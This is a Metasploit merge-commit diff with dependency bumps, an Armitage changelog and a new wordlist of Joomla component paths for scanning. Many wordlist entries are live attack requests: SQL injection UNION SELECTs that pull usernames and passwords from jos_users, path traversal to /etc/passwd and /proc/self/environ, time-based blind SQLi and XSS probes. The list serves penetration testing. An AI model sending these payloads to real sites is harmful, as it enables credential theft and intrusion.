Merge branch 'rapid7' into R3dy-psexec-mixin2
commit
99218d142b
|
@ -6,3 +6,5 @@ rvm:
|
|||
notifications:
|
||||
irc: "irc.freenode.org#msfnotify"
|
||||
|
||||
git:
|
||||
depth: 1
|
||||
|
|
6
Gemfile
6
Gemfile
|
@ -2,12 +2,8 @@ source 'http://rubygems.org'
|
|||
|
||||
# Need 3+ for ActiveSupport::Concern
|
||||
gem 'activesupport', '>= 3.0.0'
|
||||
# Needed for Msf::DbManager
|
||||
gem 'activerecord'
|
||||
# Database models shared between framework and Pro.
|
||||
gem 'metasploit_data_models', :git => 'git://github.com/rapid7/metasploit_data_models.git', :tag => '0.3.0'
|
||||
# Needed for module caching in Mdm::ModuleDetails
|
||||
gem 'pg', '>= 0.11'
|
||||
gem 'metasploit_data_models', :git => 'git://github.com/rapid7/metasploit_data_models.git', :tag => '0.4.0'
|
||||
|
||||
group :development do
|
||||
# Markdown formatting for yard
|
||||
|
|
22
Gemfile.lock
22
Gemfile.lock
|
@ -1,10 +1,10 @@
|
|||
GIT
|
||||
remote: git://github.com/rapid7/metasploit_data_models.git
|
||||
revision: 73f26789500f278dd6fd555e839d09a3b81a05f4
|
||||
tag: 0.3.0
|
||||
revision: 448c1065329efea1eac76a3897f626f122666743
|
||||
tag: 0.4.0
|
||||
specs:
|
||||
metasploit_data_models (0.3.0)
|
||||
activerecord
|
||||
metasploit_data_models (0.4.0)
|
||||
activerecord (>= 3.2.10)
|
||||
activesupport
|
||||
pg
|
||||
pry
|
||||
|
@ -12,15 +12,15 @@ GIT
|
|||
GEM
|
||||
remote: http://rubygems.org/
|
||||
specs:
|
||||
activemodel (3.2.9)
|
||||
activesupport (= 3.2.9)
|
||||
activemodel (3.2.11)
|
||||
activesupport (= 3.2.11)
|
||||
builder (~> 3.0.0)
|
||||
activerecord (3.2.9)
|
||||
activemodel (= 3.2.9)
|
||||
activesupport (= 3.2.9)
|
||||
activerecord (3.2.11)
|
||||
activemodel (= 3.2.11)
|
||||
activesupport (= 3.2.11)
|
||||
arel (~> 3.0.2)
|
||||
tzinfo (~> 0.3.29)
|
||||
activesupport (3.2.9)
|
||||
activesupport (3.2.11)
|
||||
i18n (~> 0.6)
|
||||
multi_json (~> 1.0)
|
||||
arel (3.0.2)
|
||||
|
@ -57,10 +57,8 @@ PLATFORMS
|
|||
ruby
|
||||
|
||||
DEPENDENCIES
|
||||
activerecord
|
||||
activesupport (>= 3.0.0)
|
||||
metasploit_data_models!
|
||||
pg (>= 0.11)
|
||||
rake
|
||||
redcarpet
|
||||
rspec (>= 2.12)
|
||||
|
|
Binary file not shown.
Binary file not shown.
|
@ -1,6 +1,32 @@
|
|||
Armitage Changelog
|
||||
==================
|
||||
|
||||
23 Jan 13 (tested against msf 16351)
|
||||
---------
|
||||
- Added helpers to set EXE::Custom and EXE::Template options.
|
||||
- Fixed a bug displaying a Windows 8 icon for Windows 2008 hosts
|
||||
- Cleaned up Armitage -> SOCKS Proxy job management code. The code to
|
||||
check if a proxy server is up was deadlock prone. Removed it.
|
||||
- Starting SOCKS Proxy module now opens a tab displaying the module
|
||||
start process. An event is posted to the event log too.
|
||||
- Created an option helper to select credentials for SMBUser, SMBPass,
|
||||
USERNAME, and PASSWORD.
|
||||
- Added a feature to label hosts. A label will show up in its own column
|
||||
in table view or below all info in graph view. Any team member may
|
||||
change a label through [host] -> host -> Set Label. You may also use
|
||||
dynamic workspaces to show hosts with certain labels attached.
|
||||
- Fixed bad things happening when connecting Armitage to 'localhost' and
|
||||
not '127.0.0.1'.
|
||||
- Screenshots and Webcam shots are now centered in their tab.
|
||||
- Added an alternate .bat file to start msfrpcd on Windows in the
|
||||
Metasploit 4.5 installer's environment.
|
||||
- Added a color-style for [!] warning messages
|
||||
|
||||
Cortana Updates (for scripters)
|
||||
--------
|
||||
- &handler function now works as advertised.
|
||||
- Cortana now avoids use of core.setg
|
||||
|
||||
4 Jan 13 (tested against msf 16252)
|
||||
--------
|
||||
- Added a helper to set REXE option
|
||||
|
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -1,20 +0,0 @@
|
|||
class AddCredFileTable < ActiveRecord::Migration
|
||||
|
||||
def self.up
|
||||
create_table :cred_files do |t|
|
||||
t.integer :workspace_id, :null => false, :default => 1
|
||||
t.string :path, :limit => 1024
|
||||
t.string :ftype, :limit => 16
|
||||
t.string :created_by
|
||||
t.string :name, :limit => 512
|
||||
t.string :desc, :limit => 1024
|
||||
|
||||
t.timestamps
|
||||
end
|
||||
end
|
||||
|
||||
def self.down
|
||||
drop_table :cred_files
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,627 @@
|
|||
&controller=../../../../../../../../../../../../[LFI]%00
|
||||
?1.5.10-x
|
||||
?1.5.11-x-http_ref
|
||||
?1.5.11-x-php-s3lf
|
||||
?1.5.3-path-disclose
|
||||
?1.5.3-spam
|
||||
?1.5.8-x
|
||||
?1.5.9-x
|
||||
?j1012-fixate-session
|
||||
?option=com_mysms&Itemid=0&task=phonebook
|
||||
Joomla_1.6.0-Alpha2-Full-Package/components/com_mailto/assets/close-x.png
|
||||
admin/
|
||||
administrator/
|
||||
administrator/components/
|
||||
administrator/components/com_a6mambocredits/
|
||||
administrator/components/com_a6mambohelpdesk/
|
||||
administrator/components/com_admin/admin.admin.html.php
|
||||
administrator/components/com_astatspro/refer.php
|
||||
administrator/components/com_bayesiannaivefilter/
|
||||
administrator/components/com_chronocontact/excelwriter/PPS/File.php
|
||||
administrator/components/com_colophon/
|
||||
administrator/components/com_colorlab/
|
||||
administrator/components/com_comprofiler/
|
||||
administrator/components/com_comprofiler/plugin.class.php
|
||||
administrator/components/com_cropimage/admin.cropcanvas.php
|
||||
administrator/components/com_extplorer/
|
||||
administrator/components/com_feederator/includes/tmsp/add_tmsp.php
|
||||
administrator/components/com_googlebase/
|
||||
administrator/components/com_installer
|
||||
administrator/components/com_jcs/
|
||||
administrator/components/com_jim/
|
||||
administrator/components/com_jjgallery/
|
||||
administrator/components/com_joom12pic/
|
||||
administrator/components/com_joomla-visites/
|
||||
administrator/components/com_joomla_flash_uploader/
|
||||
administrator/components/com_joomlaflashfun/
|
||||
administrator/components/com_joomlaradiov5/
|
||||
administrator/components/com_jpack/
|
||||
administrator/components/com_jreactions/
|
||||
administrator/components/com_juser/
|
||||
administrator/components/com_admin/
|
||||
administrator/components/com_kochsuite /
|
||||
administrator/components/com_linkdirectory/
|
||||
administrator/components/com_livechat/getSavedChatRooms.php
|
||||
administrator/components/com_livechat/xmlhttp.php
|
||||
administrator/components/com_lurm_constructor/admin.lurm_constructor.php
|
||||
administrator/components/com_maianmedia/utilities/charts/php-ofc-library/ofc_upload_image.php?name=lo.php");
|
||||
administrator/components/com_mambelfish/
|
||||
administrator/components/com_mgm/
|
||||
administrator/components/com_mmp/help.mmp.php
|
||||
administrator/components/com_mosmedia/
|
||||
administrator/components/com_multibanners/extadminmenus.class.php
|
||||
administrator/components/com_panoramic/
|
||||
administrator/components/com_peoplebook/param.peoplebook.php
|
||||
administrator/components/com_phpshop/toolbar.phpshop.html.php
|
||||
administrator/components/com_remository/admin.remository.php
|
||||
administrator/components/com_serverstat/install.serverstat.php
|
||||
administrator/components/com_simpleswfupload/uploadhandler.php");
|
||||
administrator/components/com_swmenupro/
|
||||
administrator/components/com_treeg/
|
||||
administrator/components/com_uhp/
|
||||
administrator/components/com_uhp2/
|
||||
administrator/components/com_webring/
|
||||
administrator/components/com_wmtgallery/
|
||||
administrator/components/com_wmtportfolio/
|
||||
administrator/components/com_x-shop/
|
||||
administrator/index.php?option=com_djartgallery&task=editItem&cid[]=1'+and+1=1+--+
|
||||
administrator/index.php?option=com_searchlog&act=log
|
||||
ajaxim/
|
||||
akocomments.php
|
||||
cart?Itemid=[SQLi]
|
||||
component/com__brightweblinks/
|
||||
component/option,com_jdirectory/task,show_content/contentid,1067/catid,26/directory,1/Itemid,0
|
||||
component/osproperty/?task=agent_register
|
||||
component/quran/index.php?option=com_quran&action=viewayat&surano=
|
||||
components/com_ clickheat/
|
||||
components/com_5starhotels/
|
||||
components/com_Jambook/jambook.php
|
||||
components/com_a6mambocredits/
|
||||
components/com_a6mambohelpdesk/
|
||||
components/com_ab_gallery/
|
||||
components/com_acajoom/
|
||||
components/com_acctexp/
|
||||
components/com_aclassf/
|
||||
components/com_activities/
|
||||
components/com_actualite/
|
||||
components/com_admin/admin.admin.html.php
|
||||
components/com_advancedpoll/
|
||||
components/com_agora/
|
||||
components/com_agoragroup/
|
||||
components/com_ajaxchat/
|
||||
components/com_akobook/
|
||||
components/com_akocomment/
|
||||
components/com_akogallery
|
||||
components/com_alberghi/
|
||||
components/com_allhotels/
|
||||
components/com_alphacontent/
|
||||
components/com_altas/
|
||||
components/com_amocourse/
|
||||
components/com_artforms/assets/captcha/includes/captchaform/imgcaptcha.php
|
||||
components/com_articles/
|
||||
components/com_artist/
|
||||
components/com_artlinks/
|
||||
components/com_asortyment/
|
||||
components/com_astatspro/
|
||||
components/com_awesom/
|
||||
components/com_babackup/
|
||||
components/com_banners/
|
||||
components/com_bayesiannaivefilter/
|
||||
components/com_be_it_easypartner/
|
||||
components/com_beamospetition/
|
||||
components/com_biblestudy/
|
||||
components/com_biblioteca/views/biblioteca/tmpl/pdf.php?pag=1&testo=-a%25' UNION SELECT 1,username,password,4,5,6,7,8,9 FROM jos_users%23
|
||||
components/com_biblioteca/views/biblioteca/tmpl/stampa.php?pag=1&testo=-a%25' UNION SELECT 1,username,password,4,5,6,7,8,9 FROM jos_users%23
|
||||
components/com_blog/
|
||||
components/com_bookflip/
|
||||
components/com_bookjoomlas/
|
||||
components/com_booklibrary/
|
||||
components/com_books/
|
||||
components/com_bsadv/
|
||||
components/com_bsq_sitestats/
|
||||
components/com_bsq_sitestats/external/rssfeed.php
|
||||
components/com_bsqsitestats/
|
||||
components/com_calendar/
|
||||
components/com_camelcitydb2/
|
||||
components/com_candle/
|
||||
components/com_casino_blackjack/
|
||||
components/com_casino_videopoker/
|
||||
components/com_casinobase/
|
||||
components/com_catalogproduction/
|
||||
components/com_catalogshop/
|
||||
components/com_category/
|
||||
components/com_cgtestimonial/video.php?url="><script>alert('xss');</script>
|
||||
components/com_chronocontact/excelwriter/PPS/File.php
|
||||
components/com_cinema/
|
||||
components/com_clasifier/
|
||||
components/com_classifieds/
|
||||
components/com_clickheat/
|
||||
components/com_cloner/
|
||||
components/com_cmimarketplace/
|
||||
components/com_cms/
|
||||
components/com_colophon/
|
||||
components/com_colorlab/
|
||||
components/com_competitions/
|
||||
components/com_comprofiler/
|
||||
components/com_comprofiler/plugin.class.php
|
||||
components/com_contactinfo/
|
||||
components/com_content/
|
||||
components/com_cpg/cpg.php
|
||||
components/com_cropimage/admin.cropcanvas.php
|
||||
components/com_custompages/
|
||||
components/com_cx/
|
||||
components/com_d3000/
|
||||
components/com_dadamail/
|
||||
components/com_dailymessage/
|
||||
components/com_datsogallery/
|
||||
components/com_dbquery/
|
||||
components/com_detail/
|
||||
components/com_digistore/
|
||||
components/com_directory/
|
||||
components/com_djiceshoutbox/
|
||||
components/com_doc/
|
||||
components/com_downloads/
|
||||
components/com_ds-syndicate/
|
||||
components/com_dtregister/
|
||||
components/com_dv/externals/phpupload/upload.php");
|
||||
components/com_easybook/
|
||||
components/com_emcomposer/
|
||||
components/com_equotes/
|
||||
components/com_estateagent/
|
||||
components/com_eventing/
|
||||
components/com_eventlist/
|
||||
components/com_events/
|
||||
components/com_ewriting/
|
||||
components/com_expose/uploadimg.php
|
||||
components/com_expshop/
|
||||
components/com_extcalendar/
|
||||
components/com_extcalendar/cal_popup.php?extmode=view&extid=
|
||||
components/com_extcalendar/extcalendar.php
|
||||
components/com_extended_registration/registration_detailed.inc.php
|
||||
components/com_extplorer/
|
||||
components/com_ezine/
|
||||
components/com_ezstore/
|
||||
components/com_facileforms/
|
||||
components/com_fantasytournament/
|
||||
components/com_faq/
|
||||
components/com_feederator/includes/tmsp/add_tmsp.php
|
||||
components/com_filebase/
|
||||
components/com_filiale/
|
||||
components/com_flashfun/
|
||||
components/com_flashmagazinedeluxe/
|
||||
components/com_flippingbook/
|
||||
components/com_flyspray/startdown.php
|
||||
components/com_fm/fm.install.php
|
||||
components/com_foevpartners/
|
||||
components/com_football/
|
||||
components/com_formtool/
|
||||
components/com_forum/
|
||||
components/com_fq/
|
||||
components/com_fundraiser/
|
||||
components/com_galeria/
|
||||
components/com_galleria/galleria.html.php
|
||||
components/com_gallery/
|
||||
components/com_game/
|
||||
components/com_gameq/
|
||||
components/com_garyscookbook/
|
||||
components/com_genealogy/
|
||||
components/com_geoboerse/
|
||||
components/com_gigcal/
|
||||
components/com_gmaps/
|
||||
components/com_googlebase/
|
||||
components/com_gsticketsystem/
|
||||
components/com_guide/
|
||||
components/com_hashcash/server.php
|
||||
components/com_hbssearch/
|
||||
components/com_hello_world/
|
||||
components/com_hotproperties/
|
||||
components/com_hotproperty/
|
||||
components/com_hotspots/
|
||||
components/com_htmlarea3_xtd-c/popups/ImageManager/config.inc.php
|
||||
components/com_hwdvideoshare/
|
||||
components/com_hwdvideoshare/assets/uploads/flash/flash_upload.php?jqUploader=1");
|
||||
components/com_ice/
|
||||
components/com_idoblog/
|
||||
components/com_idvnews/
|
||||
components/com_ignitegallery/
|
||||
components/com_ijoomla_archive/
|
||||
components/com_ijoomla_rss/
|
||||
components/com_inter/
|
||||
components/com_ionfiles/
|
||||
components/com_is/
|
||||
components/com_ixxocart/
|
||||
components/com_jabode/
|
||||
components/com_jashowcase/
|
||||
components/com_jb2/
|
||||
components/com_jce/
|
||||
components/com_jcs/
|
||||
components/com_jd-wiki/
|
||||
components/com_jd-wp/
|
||||
components/com_jim/
|
||||
components/com_jjgallery/
|
||||
components/com_jmovies/
|
||||
components/com_jobline/
|
||||
components/com_jombib/
|
||||
components/com_joobb/
|
||||
components/com_jooget/
|
||||
components/com_joom12pic/
|
||||
components/com_joomla-visites/
|
||||
components/com_joomla_flash_uploader/
|
||||
components/com_joomlaboard/
|
||||
components/com_joomladate/
|
||||
components/com_joomlaflashfun/
|
||||
components/com_joomlalib/
|
||||
components/com_joomlaradiov5/
|
||||
components/com_joomlavvz/
|
||||
components/com_joomlaxplorer/
|
||||
components/com_joomloads/
|
||||
components/com_joomradio/
|
||||
components/com_joomtracker/
|
||||
components/com_joovideo/
|
||||
components/com_jotloader/
|
||||
components/com_journal/
|
||||
components/com_jpack/
|
||||
components/com_jpad/
|
||||
components/com_jreactions/
|
||||
components/com_jreviews/scripts/xajax.inc.php
|
||||
components/com_jumi/
|
||||
components/com_juser/
|
||||
components/com_jvideo/
|
||||
components/com_k2/
|
||||
components/com_kbase/
|
||||
components/com_knowledgebase/fckeditor/fckeditor.js
|
||||
components/com_kochsuite /
|
||||
components/com_kunena/
|
||||
components/com_letterman/
|
||||
components/com_lexikon/
|
||||
components/com_linkdirectory/
|
||||
components/com_listoffreeads/
|
||||
components/com_livechat/getSavedChatRooms.php
|
||||
components/com_livechat/xmlhttp.php
|
||||
components/com_liveticker/
|
||||
components/com_lm/
|
||||
components/com_lmo/
|
||||
components/com_loudmounth/includes/abbc/abbc.class.php
|
||||
components/com_loudmouth/
|
||||
components/com_lowcosthotels/
|
||||
components/com_lurm_constructor/admin.lurm_constructor.php
|
||||
components/com_mad4joomla/
|
||||
components/com_madeira/img.php
|
||||
components/com_maianmusic/
|
||||
components/com_mailarchive/
|
||||
components/com_mailto/
|
||||
components/com_mambatstaff/mambatstaff.php
|
||||
components/com_mambelfish/
|
||||
components/com_mambospgm/
|
||||
components/com_mambowiki/MamboLogin.php
|
||||
components/com_marketplace/
|
||||
components/com_mcquiz/
|
||||
components/com_mdigg/
|
||||
components/com_media_library/
|
||||
components/com_mediaslide/
|
||||
components/com_mezun/
|
||||
components/com_mgm/
|
||||
components/com_minibb/
|
||||
components/com_misterestate/
|
||||
components/com_mmp/help.mmp.php
|
||||
components/com_model/
|
||||
components/com_moodle/moodle.php
|
||||
components/com_moofaq/
|
||||
components/com_mosmedia/
|
||||
components/com_mospray/scripts/admin.php
|
||||
components/com_mosres/
|
||||
components/com_most/
|
||||
components/com_mp3_allopass/
|
||||
components/com_mtree/
|
||||
components/com_mtree/img/listings/o/{id}.php
|
||||
components/com_multibanners/extadminmenus.class.php
|
||||
components/com_myalbum/
|
||||
components/com_mycontent/
|
||||
components/com_mydyngallery/
|
||||
components/com_mygallery/
|
||||
components/com_n-forms/
|
||||
components/com_na_content/
|
||||
components/com_na_mydocs/
|
||||
components/com_na_newsdescription/
|
||||
components/com_na_qforms/
|
||||
components/com_neogallery/
|
||||
components/com_neorecruit/
|
||||
components/com_neoreferences/
|
||||
components/com_netinvoice/
|
||||
components/com_news/
|
||||
components/com_news_portal/
|
||||
components/com_newsflash/
|
||||
components/com_nfn_addressbook/
|
||||
components/com_nicetalk/
|
||||
components/com_noticias/
|
||||
components/com_omnirealestate/
|
||||
components/com_omphotogallery/
|
||||
components/com_ongumatimesheet20/
|
||||
components/com_onlineflashquiz/
|
||||
components/com_ownbiblio/
|
||||
components/com_panoramic/
|
||||
components/com_paxgallery/
|
||||
components/com_paxxgallery/
|
||||
components/com_pcchess/
|
||||
components/com_pcchess/include.pcchess.php
|
||||
components/com_pccookbook/
|
||||
components/com_pccookbook/pccookbook.php
|
||||
components/com_peoplebook/param.peoplebook.php
|
||||
components/com_performs/
|
||||
components/com_philaform/
|
||||
components/com_phocadocumentation/
|
||||
components/com_php/
|
||||
components/com_phpshop/toolbar.phpshop.html.php
|
||||
components/com_pinboard/
|
||||
components/com_pms/
|
||||
components/com_poll/
|
||||
components/com_pollxt/
|
||||
components/com_ponygallery/
|
||||
components/com_portafolio/
|
||||
components/com_portfol/
|
||||
components/com_prayercenter/
|
||||
components/com_pro_desk/
|
||||
components/com_prod/
|
||||
components/com_productshowcase/
|
||||
components/com_profiler/
|
||||
components/com_projectfork/
|
||||
components/com_propertylab/
|
||||
components/com_puarcade/
|
||||
components/com_publication/
|
||||
components/com_quiz/
|
||||
components/com_rapidrecipe/
|
||||
components/com_rdautos/
|
||||
components/com_realestatemanager/
|
||||
components/com_recly/
|
||||
components/com_referenzen/
|
||||
components/com_rekry/
|
||||
components/com_remository/admin.remository.php
|
||||
components/com_remository_files/file_image_14/1276100016shell.php
|
||||
components/com_reporter/processor/reporter.sql.php
|
||||
components/com_resman/
|
||||
components/com_restaurante/
|
||||
components/com_ricette/
|
||||
components/com_rsfiles/
|
||||
components/com_rsgallery/
|
||||
components/com_rsgallery2/
|
||||
components/com_rss/
|
||||
components/com_rssreader/
|
||||
components/com_rssxt/
|
||||
components/com_rwcards/
|
||||
components/com_school/
|
||||
components/com_search/
|
||||
components/com_sebercart/getPic.php?p=[LFD]%00
|
||||
components/com_securityimages/
|
||||
components/com_sef/
|
||||
components/com_seminar/
|
||||
components/com_serverstat/install.serverstat.php
|
||||
components/com_sg/
|
||||
components/com_simple_review/
|
||||
components/com_simpleboard/
|
||||
components/com_simplefaq/
|
||||
components/com_simpleshop/
|
||||
components/com_sitemap/sitemap.xml.php
|
||||
components/com_slideshow/
|
||||
components/com_smf/
|
||||
components/com_smf/smf.php
|
||||
components/com_swmenupro/
|
||||
components/com_team/
|
||||
components/com_tech_article/
|
||||
components/com_thopper/
|
||||
components/com_thyme/
|
||||
components/com_tickets/
|
||||
components/com_tophotelmodule/
|
||||
components/com_tour_toto/
|
||||
components/com_trade/
|
||||
components/com_uhp/
|
||||
components/com_uhp2/
|
||||
components/com_user/controller.php
|
||||
components/com_users/
|
||||
components/com_utchat/pfc/lib/pear/PHPUnit/GUI/Gtk.php
|
||||
components/com_vehiclemanager/
|
||||
components/com_versioning /
|
||||
components/com_videodb/core/videodb.class.xml.php
|
||||
components/com_virtuemart/
|
||||
components/com_volunteer/
|
||||
components/com_vr/
|
||||
components/com_waticketsystem/
|
||||
components/com_webhosting/
|
||||
components/com_weblinks/
|
||||
components/com_webring/
|
||||
components/com_wmtgallery/
|
||||
components/com_wmtportfolio/
|
||||
components/com_x-shop/
|
||||
components/com_xevidmegahd/
|
||||
components/com_xewebtv/
|
||||
components/com_xfaq/
|
||||
components/com_xgallery/helpers/img.php?file=
|
||||
components/com_xsstream-dm/
|
||||
components/com_ynews/
|
||||
components/com_yvcomment/
|
||||
components/com_zoom/classes/
|
||||
components/mod_letterman/
|
||||
components/remository/
|
||||
eXtplorer/
|
||||
easyblog/entry/uncategorized
|
||||
extplorer/
|
||||
components/com_mtree/img/listings/o/{id}.php where {id}
|
||||
includes/joomla.php
|
||||
index.php/404'
|
||||
index.php/?option=com_question&catID=21' and+1=0 union all
|
||||
index.php/image-gallery/"><script>alert('xss')</script>/25-koala
|
||||
index.php?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&jat3action=gzip&type=css&v=1
|
||||
index.php?option=com_aardvertiser&cat_name=Vehicles'+AND+'1'='1&task=view
|
||||
index.php?option=com_aardvertiser&cat_name=conf&task=<=
|
||||
index.php?option=com_aardvertiser&task=
|
||||
index.php?option=com_abc&view=abc&letter=AS§ionid='
|
||||
index.php?option=com_advert&id=36'
|
||||
index.php?option=com_alameda&controller=comments&task=edit&storeid=-1+union+all+select+concat_ws(0x3a,username,password)+from+jos_users--
|
||||
index.php?option=com_alfurqan15x&action=viewayat&surano=
|
||||
index.php?option=com_amblog&view=amblog&catid=-1 UNION SELECT @@version
|
||||
index.php?option=com_annonces&view=edit&Itemid=1
|
||||
index.php?option=com_articleman&task=new
|
||||
index.php?option=com_bbs&bid=-1
|
||||
index.php?option=com_beamospetition&startpage=3&pet=-
|
||||
index.php?option=com_beamospetition&startpage=3&pet=-1+Union+select+user()+from+jos_users-
|
||||
index.php?option=com_bearleague&task=team&tid=8&sid=1&Itemid=%27
|
||||
index.php?option=com_beeheard&controller=../../../../../../../../../../etc/passwd%00
|
||||
index.php?option=com_biblioteca&view=biblioteca&testo=-a%25' UNION SELECT 1,username,password,4,5,6,7,8,9 FROM jos_users%23
|
||||
index.php?option=com_blogfactory&controller=../../../../../../../../../../etc/passwd%00
|
||||
index.php?option=com_bnf&task=listar&action=filter_add&seccion=pago&seccion_id=-1
|
||||
index.php?option=com_camelcitydb2&id=-3+union+select+1,2,concat(username,0x3a,password),4,5,6,7,8,9,10,11+from+jos_users--
|
||||
index.php?option=com_chronoconnectivity&itemid=1
|
||||
index.php?option=com_chronocontact&itemid=1
|
||||
index.php?option=com_cinema&Itemid=S@BUN&func=detail&id=
|
||||
index.php?option=com_clantools&squad=1+
|
||||
index.php?option=com_clantools&task=clanwar&showgame=1+
|
||||
index.php?option=com_commedia&format=raw&task=image&pid=4&id=964'
|
||||
index.php?option=com_commedia&task=page&commpid=21
|
||||
index.php?option=com_connect&view=connect&controller=
|
||||
index.php?option=com_content&view=article&id=[A VALID ID]&Itemid=[A VALID ID]&sflaction=dir&sflDir=../../../
|
||||
index.php?option=com_delicious&controller=../../../../../../../../../../etc/passwd%00
|
||||
index.php?option=com_dioneformwizard&controller=[LFI]%00
|
||||
index.php?option=com_discussions&view=thread&catid=[Correct CatID]&thread=-1
|
||||
index.php?option=com_dshop&controller=fpage&task=flypage&idofitem=12
|
||||
index.php?option=com_easyfaq&Itemid=1&task=view&gid=
|
||||
index.php?option=com_easyfaq&catid=1&task=view&id=-2527+
|
||||
index.php?option=com_easyfaq&task=view&contact_id=
|
||||
index.php?option=com_elite_experts&task=showExpertProfileDetailed&getExpertsFromCountry=&language=ru&id=
|
||||
index.php?option=com_equipment&task=components&id=45&sec_men_id=
|
||||
index.php?option=com_equipment&view=details&id=
|
||||
index.php?option=com_estateagent&Itemid=47&act=object&task=showEO&id=[sqli]
|
||||
index.php?option=com_etree&view=displays&layout=category&id=[SQL]
|
||||
index.php?option=com_etree&view=displays&layout=user&user_id=[SQL]
|
||||
index.php?option=com_ezautos&Itemid=49&id=1&task=helpers&firstCode=1
|
||||
index.php?option=com_fabrik&view=table&tableid=13+union+select+1----
|
||||
index.php?option=com_filecabinet&task=download&cid[]=7
|
||||
index.php?option=com_firmy&task=section_show_set&Id=-1
|
||||
index.php?option=com_fss&view=test&prodid=777777.7'+union+all+select+77777777777777%2C77777777777777%2C77777777777777%2Cversion()%2C77777777777777%2C77777777777777%2C77777777777777%2C77777777777777%2C77777777777777%2C77777777777777%2C77777777777777--+D4NB4R
|
||||
index.php?option=com_golfcourseguide&view=golfcourses&cid=1&id=
|
||||
index.php?option=com_graphics&controller=
|
||||
index.php?option=com_grid&gid=15_ok_0',%20'15_ok_0&data_search=
|
||||
index.php?option=com_grid&gid=15_ok_0',%20'15_ok_0?data_search=&rpp=
|
||||
index.php?option=com_huruhelpdesk&view=detail
|
||||
index.php?option=com_huruhelpdesk&view=detail&cid[0]=
|
||||
index.php?option=com_huruhelpdesk&view=detail&cid[0]=-1
|
||||
index.php?option=com_icagenda&view=list&layout=event&Itemid=520&id=1 and 1=1
|
||||
index.php?option=com_icagenda&view=list&layout=event&Itemid=520&id=1 and 1=2
|
||||
index.php?option=com_icagenda&view=list&layout=event&Itemid=520&id[]=1
|
||||
index.php?option=com_iproperty&view=agentproperties&id=
|
||||
index.php?option=com_jacomment&view=
|
||||
index.php?option=com_jacomment&view=../../../../../../../../../../etc/passwd%00
|
||||
index.php?option=com_javoice&view=../../../../../../../../../../../../../../../etc/passwd%00
|
||||
index.php?option=com_jcommunity&controller=members&task=1'
|
||||
index.php?option=com_jeajaxeventcalendar&view=alleventlist_more&event_id=-13
|
||||
index.php?option=com_jefaqpro&view=category&layout=categorylist&catid=2
|
||||
index.php?option=com_jefaqpro&view=category&layout=categorylist&task=lists&catid=2
|
||||
index.php?option=com_jeguestbook&view=../../../../../../../../etc/passwd%00
|
||||
index.php?option=com_jeguestbook&view=item_detail&d_itemid=-1 OR (SELECT(IF(0x41=0x41, BENCHMARK(999999999,NULL),NULL)))
|
||||
index.php?option=com_jfuploader&Itemid=
|
||||
index.php?option=com_jgen&task=view&id=
|
||||
index.php?option=com_jgrid&controller=../../../../../../../../etc/passwd%00
|
||||
index.php?option=com_jimtawl&Itemid=12&task=
|
||||
index.php?option=com_jmarket&controller=product&task=1'
|
||||
index.php?option=com_jobprofile&Itemid=61&task=profilesview&id=1'
|
||||
index.php?option=com_jomdirectory&task=search&type=111+
|
||||
index.php?option=com_joomdle&view=detail&cat_id=1&course_id=
|
||||
index.php?option=com_joomla_flash_uploader&Itemid=1
|
||||
index.php?option=com_joomleague&func=showNextMatch&p=[sqli]
|
||||
index.php?option=com_joomleague&view=resultsmatrix&p=4&Itemid=[sqli]
|
||||
index.php?option=com_joomtouch&controller=
|
||||
index.php?option=com_jphone&controller../../../../../../../../../../etc/passwd%00
|
||||
index.php?option=com_jphone&controller../../../../../../../../../../proc/self/environ%00
|
||||
index.php?option=com_jscalendar&view=jscalendar&task=details&ev_id=999 UNION SELECT 1,username,password,4,5,6,7,8 FROM jos_users
|
||||
index.php?option=com_jstore&controller=product-display&task=1'
|
||||
index.php?option=com_jsubscription&controller=subscription&task=1'
|
||||
index.php?option=com_jtickets&controller=ticket&task=1'
|
||||
index.php?option=com_konsultasi&act=detail&sid=
|
||||
index.php?option=com_ksadvertiser&Itemid=36&task=add&catid=0&lang=en
|
||||
index.php?option=com_kunena&func=userlist&search=
|
||||
index.php?option=com_lead&task=display&archive=1&Itemid=65&leadstatus=1'
|
||||
index.php?option=com_lovefactory&controller=../../../../../../../../../../etc/passwd%00
|
||||
index.php?option=com_markt&page=show_category&catid=7+union+select+0,1,password,3,4,5,username,7,8+from+jos_users--
|
||||
index.php?option=com_matamko&controller=
|
||||
index.php?option=com_myhome&task=4&nidimmindex.php?option=com_myhome&task=4&nidimm
|
||||
index.php?option=com_neorecruit&task=offer_view&id=
|
||||
index.php?option=com_newsfeeds&view=categories&feedid=-1%20union%20select%201,concat%28username,char%2858%29,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30%20from%20jos_users--
|
||||
index.php?option=com_noticeboard&controller=
|
||||
index.php?option=com_obsuggest&controller=
|
||||
index.php?option=com_ongallery&task=ft&id=-1+order+by+1--
|
||||
index.php?option=com_ongallery&task=ft&id=-1+union+select+1--
|
||||
index.php?option=com_oziogallery&Itemid=
|
||||
index.php?option=com_page&id=53
|
||||
index.php?option=com_pbbooking&task=validate&id=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(999999999,NULL),NULL)))
|
||||
index.php?option=com_pcchess&controller=../../../../../../../../../../../../../etc/passwd%00
|
||||
index.php?option=com_peliculas&view=peliculas&id=null[Sql Injection]
|
||||
index.php?option=com_phocagallery&view=categories&Itemid=
|
||||
index.php?option=com_photomapgallery&view=imagehandler&folder=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL)))
|
||||
index.php?option=com_php&file=../../../../../../../../../../etc/passwd
|
||||
index.php?option=com_php&file=../images/phplogo.jpg
|
||||
index.php?option=com_php&file=../js/ie_pngfix.js
|
||||
index.php?option=com_ponygallery&Itemid=[sqli]
|
||||
index.php?option=com_products&catid=-1
|
||||
index.php?option=com_products&id=-1
|
||||
index.php?option=com_products&product_id=-1
|
||||
index.php?option=com_products&task=category&catid=-1
|
||||
index.php?option=com_properties&task=agentlisting&aid=
|
||||
index.php?option=com_qcontacts&Itemid=1'
|
||||
index.php?option=com_qcontacts?=catid=0&filter_order=[SQLi]&filter_order_Dir=&option=com_qcontacts
|
||||
index.php?option=com_record&controller=../../../../../../../../../../etc/passwd%00
|
||||
index.php?option=com_restaurantguide&view=country&id='&Itemid=69
|
||||
